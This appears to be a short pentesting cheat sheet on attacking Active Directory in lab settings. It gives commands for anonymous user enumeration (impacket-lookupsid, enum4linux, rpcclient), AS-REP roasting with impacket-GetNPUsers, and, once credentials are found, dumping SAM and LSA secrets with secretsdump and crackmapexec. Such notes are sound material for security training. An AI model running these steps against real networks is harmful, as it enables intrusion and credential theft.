---
description: PRACTICE ! PRACTICE ! PRACTICE !
---

# Active Directory Security

### Enumerating the Usernames first !

If anonymous user has **READ** permissions over the **$IPC** share, then&#x20;

```
$ impacket-lookupsid anonymous@10.10.117.62 | tee users.txt
```

Meanwhile, run the **enum4linux** in the background

```
$ enum4linux -a 10.10.10.x | tee enum4linux.log
```

If **rpcclient** has anonymous login then

```
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
```

<figure><img src="https://2880889832-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FupoLYwnZbHBXiSo31RJL%2Fuploads%2FI9kaRzfk3h8pyy5FQsgB%2Fimage.png?alt=media&#x26;token=387f7c03-7123-4ec6-82c6-e0eb516e4f4f" alt=""><figcaption><p>The last GO-TO option !</p></figcaption></figure>

### AS-REP Roasting

After finding valid usernames, try to check if there is any way to AS-REP roast&#x20;

```
$ impacket-GetNPUsers spooky.local/ -no-pass -usersfile users.txt -dc-ip <target ip> 
```

### After Having Creds

* Enumerate Shares with those creds - `cme`
* Try dumping the secrets with it - `impacket-secretsdump`
* Try dumping the sam and lass - `crackmapexec`
* Check for winrm, smb and other services till it gets **Pwn3d**

